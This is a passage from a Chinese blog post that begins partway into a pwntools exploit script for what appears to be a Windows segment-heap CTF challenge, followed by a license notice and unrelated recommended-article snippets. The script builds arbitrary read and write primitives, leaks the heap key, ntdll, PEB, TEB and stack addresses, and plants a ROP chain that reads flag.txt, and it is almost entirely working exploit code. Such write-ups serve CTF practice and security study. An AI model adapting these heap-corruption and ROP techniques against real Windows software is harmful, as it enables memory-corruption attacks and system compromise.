    p.sendlineafter("plz:", str(idx))


def enter_manage():
    choose(2)


def exit_manage():
    choose(4)


def create_user(name, age):
    choose(1)
    p.sendafter("Please enter username:", name)
    p.sendlineafter("Please enter age:", str(age))


def show_user(id):
    choose(2)
    p.sendlineafter("Please enter user id:", str(id))


def edit_user(id, name):
    choose(3)
    p.sendlineafter("Please enter user id:", str(id))
    p.sendafter("Please enter username:", name)


def buy(id, offset, val):
    choose(3)
    p.sendlineafter("Please enter user id:", str(id))
    p.sendlineafter("You can get a huge gift because you defeated the monster", str(offset))
    p.sendline(str(val))


def bonus(id, val):
    choose(0x3157C)
    p.sendlineafter("Please enter user id:", str(id))
    p.sendline(str(val))


def verify(id):
    enter_manage()
    show_user(id)
    exit_manage()


enter_manage()
create_user("sky123\n", 0)
edit_user(0, 'a' * 0x50 + '\x01')
exit_manage()

bonus(0, 1 << 31)
verify(0)

enter_game(0)
attack(3)  # 0 VsSubsegment +0x2000

attack(1, 0xfe90)  # 1
attack(1, 0x20000)  # 2 +0x13000
attack(2)  # 3 VsSubsegment +0x34000 +0x45000
attack(1, 0x20000)  # 4 +0x66000
improve(6)
delete_wall(2)
exit_game()

verify(0)
# ? (0000020b`23102050-(0x20b23100040+20*11+18))/8
# ? 21+21+11
buy(0, 0x3bb, 0x5304ffff00000002)

enter_game(0)
attack(1, 0x20000)  # 5
# windbg.attach(p, "bp 00007ff7`96460000+1E75")
attack(2)
edit_wall(6, 'a' * 0x80)
show_wall(6)
p.recvuntil(p64(0x1a1a2b2b3c3c4d4d))
page_segment = u64(p.recvline(drop=True).ljust(8, '\x00')) - 0x34010
log.success("PageSegment addr: " + hex(page_segment))


def arbitrary_address_read(address):
    edit_wall(6, 'a' * 0x48 + p64(address))
    show_wall(3)
    return p.recvline(drop=True)


def arbitrary_address_write(address, content):
    edit_wall(6, 'a' * 0x48 + p64(address))
    edit_wall(3, content)


vs_subsegment = page_segment + 0x2000
log.info("VsSubsegment addr: " + hex(vs_subsegment))

chunk_header_addr = vs_subsegment + 0x30
chunk_header = u64(arbitrary_address_read(chunk_header_addr)[:8].ljust(8, '\x00'))
log.info("chunk header addr: " + hex(chunk_header_addr))
log.info("chunk header: " + hex(chunk_header))
heap_key = chunk_header_addr ^ chunk_header ^ 0x000100000012000f
log.success("RtlpHpHeapGlobals.HeapKey: " + hex(heap_key))

segment_heap = u64(arbitrary_address_read(page_segment)[:8].ljust(8, '\x00')) - 0x148
log.success("SegmentHeap addr: " + hex(segment_heap))
vs_context = segment_heap + 0x280
log.info("VsContext addr: " + hex(vs_context))
vs_context_callbacks = vs_context + 0x88
log.info("Vscontext.CallBacks addr: " + hex(vs_context_callbacks))
ntdll.address = (u64(arbitrary_address_read(vs_context_callbacks)[:8].ljust(8, '\x00')) ^ heap_key ^ vs_context) - 0x77440
log.success("ntdll base: " + hex(ntdll.address))

peb_addr = u64(arbitrary_address_read(ntdll.address + 0x16A428)[:8].ljust(8, '\x00')) - 0x240
log.success("peb addr: " + hex(peb_addr))
teb_addr = peb_addr + 0x1000
log.info("teb addr: " + hex(teb_addr))

pe.address = u64(arbitrary_address_read(peb_addr + 0x10 + 2)[:8].ljust(8, '\x00')) << 16
log.success("pe base: " + hex(pe.address))

ucrtbase.address = u64(arbitrary_address_read(pe.imsyms['puts'])[:8].ljust(8, '\x00')) - ucrtbase.symbols['puts']
log.info("ucrtbase base: " + hex(ucrtbase.address))

stack_base = u64(arbitrary_address_read(teb_addr + 8 + 2)[:6].ljust(8, '\x00')) << 16
log.success("stack base: " + hex(stack_base))
stack_limit = u64(arbitrary_address_read(teb_addr + 16 + 1)[:7].ljust(8, '\x00')) << 8
if stack_limit == 0: stack_limit = u64(arbitrary_address_read(teb_addr + 16 + 2)[:6].ljust(8, '\x00')) << 16
log.success("stack limit: " + hex(stack_limit))

search_length = 0x100
rop_addr = -1
for address in range(stack_base - 8, stack_limit, -8):
    log.info("address: " + hex(address))
    if arbitrary_address_read(address)[:8].ljust(8, '\x00') == p64(pe.address + 0x27F1):
        rop_addr = address
        break

buf_addr = rop_addr + 0xd8 + 0x8

payload = ''
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(0)
payload += p64(0)
payload += p64(ucrtbase.symbols['_open'])
payload += p64(ntdll.search(asm(" pop rsi ; pop r12 ; pop rdi ; pop rsi ; ret"), executable=True).next())
payload += '\x00' * 0x20
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(3)  # fileno
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(rop_addr - 0x2000)
payload += p64(0)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbase.symbols['_read'])
payload += p64(ntdll.search(asm(" pop rsi ; pop r12 ; pop rdi ; pop rsi ; ret"), executable=True).next())
payload += '\x00' * 0x20
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(rop_addr - 0x2000)
payload += p64(ucrtbase.symbols['puts'])
payload = payload.ljust(buf_addr - rop_addr, '\xcc')
payload += 'flag.txt\x00'
log.info("rop addr: " + hex(rop_addr))
log.info("buf addr: " + hex(buf_addr))

arbitrary_address_write(page_segment + 0x34010 + 0x88, p64(rop_addr))
edit_wall(6, payload)
# windbg.attach(p, "bp " + hex(0x2186 + pe.address)[:-1])
exit_game()
p.interactive()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_45323960/article/details/131697469

智能推荐

while循环&CPU占用率高问题深入分析与解决方案_main函数使用while(1)循环cpu占用99-程序员宅基地

文章浏览阅读3.8k次,点赞9次,收藏28次。直接上一个工作中碰到的问题,另外一个系统开启多线程调用我这边的接口,然后我这边会开启多线程批量查询第三方接口并且返回给调用方。使用的是两三年前别人遗留下来的方法,放到线上后发现确实是可以正常取到结果,但是一旦调用,CPU占用就直接100%(部署环境是win server服务器)。因此查看了下相关的老代码并使用JProfiler查看发现是在某个while循环的时候有问题。具体项目代码就不贴了,类似于下面这段代码。​​​​​​while(flag) {//your code;}这里的flag._main函数使用while(1)循环cpu占用99

【无标题】jetbrains idea shift f6不生效_idea shift +f6快捷键不生效-程序员宅基地

文章浏览阅读347次。idea shift f6 快捷键无效_idea shift +f6快捷键不生效

node.js学习笔记之Node中的核心模块_node模块中有很多核心模块,以下不属于核心模块,使用时需下载的是-程序员宅基地

文章浏览阅读135次。Ecmacript 中没有DOM 和 BOM核心模块Node为JavaScript提供了很多服务器级别,这些API绝大多数都被包装到了一个具名和核心模块中了,例如文件操作的 fs 核心模块 ,http服务构建的http 模块 path 路径操作模块 os 操作系统信息模块// 用来获取机器信息的var os = require('os')// 用来操作路径的var path = require('path')// 获取当前机器的 CPU 信息console.log(os.cpus._node模块中有很多核心模块,以下不属于核心模块,使用时需下载的是

数学建模【SPSS 下载-安装、方差分析与回归分析的SPSS实现(软件概述、方差分析、回归分析)】_化工数学模型数据回归软件-程序员宅基地

文章浏览阅读10w+次,点赞435次,收藏3.4k次。SPSS 22 下载安装过程7.6 方差分析与回归分析的SPSS实现7.6.1 SPSS软件概述1 SPSS版本与安装2 SPSS界面3 SPSS特点4 SPSS数据7.6.2 SPSS与方差分析1 单因素方差分析2 双因素方差分析7.6.3 SPSS与回归分析SPSS回归分析过程牙膏价格问题的回归分析_化工数学模型数据回归软件

利用hutool实现邮件发送功能_hutool发送邮件-程序员宅基地

文章浏览阅读7.5k次。如何利用hutool工具包实现邮件发送功能呢?1、首先引入hutool依赖<dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.7.19</version></dependency>2、编写邮件发送工具类package com.pc.c..._hutool发送邮件

docker安装elasticsearch,elasticsearch-head,kibana,ik分词器_docker安装kibana连接elasticsearch并且elasticsearch有密码-程序员宅基地

文章浏览阅读867次,点赞2次,收藏2次。docker安装elasticsearch,elasticsearch-head,kibana,ik分词器安装方式基本有两种,一种是pull的方式,一种是Dockerfile的方式,由于pull的方式pull下来后还需配置许多东西且不便于复用,个人比较喜欢使用Dockerfile的方式所有docker支持的镜像基本都在https://hub.docker.com/docker的官网上能找到合..._docker安装kibana连接elasticsearch并且elasticsearch有密码

随便推点

Python 攻克移动开发失败!_beeware-程序员宅基地

文章浏览阅读1.3w次,点赞57次,收藏92次。整理 | 郑丽媛出品 | CSDN(ID:CSDNnews)近年来,随着机器学习的兴起,有一门编程语言逐渐变得火热——Python。得益于其针对机器学习提供了大量开源框架和第三方模块,内置..._beeware

Swift4.0_Timer 的基本使用_swift timer 暂停-程序员宅基地

文章浏览阅读7.9k次。//// ViewController.swift// Day_10_Timer//// Created by dongqiangfei on 2018/10/15.// Copyright 2018年 飞飞. All rights reserved.//import UIKitclass ViewController: UIViewController { ..._swift timer 暂停

元素三大等待-程序员宅基地

文章浏览阅读986次,点赞2次,收藏2次。1.硬性等待让当前线程暂停执行,应用场景:代码执行速度太快了,但是UI元素没有立马加载出来,造成两者不同步,这时候就可以让代码等待一下,再去执行找元素的动作线程休眠,强制等待 Thread.sleep(long mills)package com.example.demo;import org.junit.jupiter.api.Test;import org.openqa.selenium.By;import org.openqa.selenium.firefox.Firefox.._元素三大等待

Java软件工程师职位分析_java岗位分析-程序员宅基地

文章浏览阅读3k次,点赞4次,收藏14次。Java软件工程师职位分析_java岗位分析

Java:Unreachable code的解决方法_java unreachable code-程序员宅基地

文章浏览阅读2k次。Java:Unreachable code的解决方法_java unreachable code

标签data-*自定义属性值和根据data属性值查找对应标签_如何根据data-*属性获取对应的标签对象-程序员宅基地

文章浏览阅读1w次。1、html中设置标签data-*的值 标题 11111 222222、点击获取当前标签的data-url的值$('dd').on('click', function() { var urlVal = $(this).data('ur_如何根据data-*属性获取对应的标签对象

推荐文章

热门文章

相关标签